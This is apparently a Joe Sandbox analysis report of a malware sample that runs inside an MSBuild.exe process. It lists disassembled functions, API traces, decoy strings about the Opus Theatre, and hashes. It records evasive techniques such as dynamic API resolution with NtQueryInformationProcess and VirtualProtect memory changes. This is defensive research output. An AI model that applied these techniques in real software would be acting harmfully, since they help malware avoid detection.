Instruction ID: 6e869890880012ea1d81b56a88001954b552af9f5f091d71c543db0729491adb
Opcode Fuzzy Hash: f2fcf4ee33fe96363edde5bcda5a6359875987c1c0e34a400f7dd16a9b3b9a3f
Instruction Fuzzy Hash: 6CF037360002D4BBCF223F95DC48A993FA6FB493A1F044014F91DDA230CA718960DFB0

Function 00DCA060 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00DCA09F
__IsNonwritableInCurrentImage.LIBCMT ref: 00DCA153

Strings

csm, xrefs: 00DCA13D

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: cd65b378ee47ae0fef5466525c5fae4911541ce5b03a591d985d9f35fbec0630
Instruction ID: 49f12ae90fc3ddd1172e630d2e270c8598bd62196e769d0b02779ecba12e2f10
Opcode Fuzzy Hash: cd65b378ee47ae0fef5466525c5fae4911541ce5b03a591d985d9f35fbec0630
Instruction Fuzzy Hash: 0C416D34A0035A9BCF109F69C881F9EBBA5AF45328F188159E8149B352C731DA45CBB2

Function 00DCA96D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00DCA992

Strings

MOC, xrefs: 00DCA9A4
RCC, xrefs: 00DCA9AC

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: eacebe30a8a42c83f20eb88152b4deca6eab5df301d4b066bfcbfbddb8e38dc0
Instruction ID: 85ea7d666bfdcffb292f8bc1ce75bc849c91257fac87bff9f312df5ecb64d335
Opcode Fuzzy Hash: eacebe30a8a42c83f20eb88152b4deca6eab5df301d4b066bfcbfbddb8e38dc0
Instruction Fuzzy Hash: 9D41277290020EAFCF16DF98C981FAEBBB5FF48308F198159FA04A7211D7359951DB62

Function 00E04FD8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00E0504A
__aulldiv.LIBCMT ref: 00E05058

Strings

@, xrefs: 00E05025

Memory Dump Source

Source File: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: @
API String ID: 3732870572-2766056989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: 3dc511030d2fc8cd7187f3bc5c603dc7242d5b7f4dcda0115c7affcbd947b280
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: 212138B1E44208ABDB04DFD4CC49FAEB7B9FB45B00F104619F605BB2C0C77869018BA5

Function 00DEE0F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00DEE130
__aulldiv.LIBCMT ref: 00DEE13E

Strings

@, xrefs: 00DEE10B

Memory Dump Source

Source File: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: @
API String ID: 3732870572-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: c925613d334f5264663dd5b2cbce1396b50a3935dc31e1b8c32735ffd8471ae3
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 220186B0D40308FBEB14EBD1CC49B9DBBB8EB01701F648058F704762C0D7B455868B66

Function 00DC15DF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00DC15E6
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00DC161E

Part of subcall function 00DC5178: _Yarn.LIBCPMT ref: 00DC5197
Part of subcall function 00DC5178: _Yarn.LIBCPMT ref: 00DC51BB

Strings

bad locale name, xrefs: 00DC162C

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: f55f18de331278a31eaf97be91cf13dddc3241931170b1e98da5f79642768890
Instruction ID: 77d50c8dde2aa942cbdb9b03399c1b0d2df21d2b109639bafffb810c110a4da5
Opcode Fuzzy Hash: f55f18de331278a31eaf97be91cf13dddc3241931170b1e98da5f79642768890
Instruction Fuzzy Hash: 44F017B5545B919E83319F7A9481947FBE4FE293103948A2EE0DEC3A12D730A404CB7A

Analysis Process: MSBuild.exePID: 1732, Parent PID: 1476COMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	41

Executed Functions

Function 004045C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045CC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045D7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045E2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045ED
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045F8
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,004169FB), ref: 00404607
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,004169FB), ref: 0040460E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404648
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040465C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404667
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404672
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040467D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404688
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046B1
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046BC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046C7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046D2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046DD
strlen.MSVCRT ref: 004046F0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404718
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404723
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404739
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404744
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404754
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040475F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040476A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404775
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404780
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0040479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046CD

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 5acfa23b78d647d16e3131d476f18804c650b7bf61bc6c67ff7474173f5a2b8f
Instruction ID: d74624c404fea8bc3833097cd15bfd8a5e03d1640ee24043f2693d34696df282
Opcode Fuzzy Hash: 5acfa23b78d647d16e3131d476f18804c650b7bf61bc6c67ff7474173f5a2b8f
Instruction Fuzzy Hash: DF41A979740624EBC71C9FE5EC89B997F60AB8C712BA0C062F90299190C7FAD5119B3D

Function 00419860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,013F32D0), ref: 004198A1
GetProcAddress.KERNEL32(75900000,013F32E8), ref: 004198BA
GetProcAddress.KERNEL32(75900000,013F3300), ref: 004198D2
GetProcAddress.KERNEL32(75900000,013F3318), ref: 004198EA
GetProcAddress.KERNEL32(75900000,013F3330), ref: 00419903
GetProcAddress.KERNEL32(75900000,013F3348), ref: 0041991B
GetProcAddress.KERNEL32(75900000,013F4490), ref: 00419933
GetProcAddress.KERNEL32(75900000,013F44B0), ref: 0041994C
GetProcAddress.KERNEL32(75900000,013F3358), ref: 00419964
GetProcAddress.KERNEL32(75900000,013F44D0), ref: 0041997C
GetProcAddress.KERNEL32(75900000,013F44E8), ref: 00419995
GetProcAddress.KERNEL32(75900000,013F04B0), ref: 004199AD
GetProcAddress.KERNEL32(75900000,013F04C8), ref: 004199C5
GetProcAddress.KERNEL32(75900000,013F7530), ref: 004199DE
GetProcAddress.KERNEL32(75900000,013F74D0), ref: 004199F6
GetProcAddress.KERNEL32(75900000,013F04E8), ref: 00419A0E
GetProcAddress.KERNEL32(75900000,013F7488), ref: 00419A27
GetProcAddress.KERNEL32(75900000,013F7470), ref: 00419A3F
GetProcAddress.KERNEL32(75900000,013F0508), ref: 00419A57
GetProcAddress.KERNEL32(75900000,013F7458), ref: 00419A70
GetProcAddress.KERNEL32(75900000,013F0528), ref: 00419A88
LoadLibraryA.KERNEL32(013F74B8,?,00416A00), ref: 00419A9A
LoadLibraryA.KERNEL32(013F75F0,?,00416A00), ref: 00419AAB
LoadLibraryA.KERNEL32(013F74A0,?,00416A00), ref: 00419ABD
LoadLibraryA.KERNEL32(013F75D8,?,00416A00), ref: 00419ACF
LoadLibraryA.KERNEL32(013F75C0,?,00416A00), ref: 00419AE0
GetProcAddress.KERNEL32(75070000,013F74E8), ref: 00419B02
GetProcAddress.KERNEL32(75FD0000,013F7560), ref: 00419B23
GetProcAddress.KERNEL32(75FD0000,013F75A8), ref: 00419B3B
GetProcAddress.KERNEL32(75A50000,013F7578), ref: 00419B5D
GetProcAddress.KERNEL32(74E50000,013F0548), ref: 00419B7E
GetProcAddress.KERNEL32(76E80000,013F0568), ref: 00419B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00419BB6

Strings

NtQueryInformationProcess, xrefs: 00419BAA

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
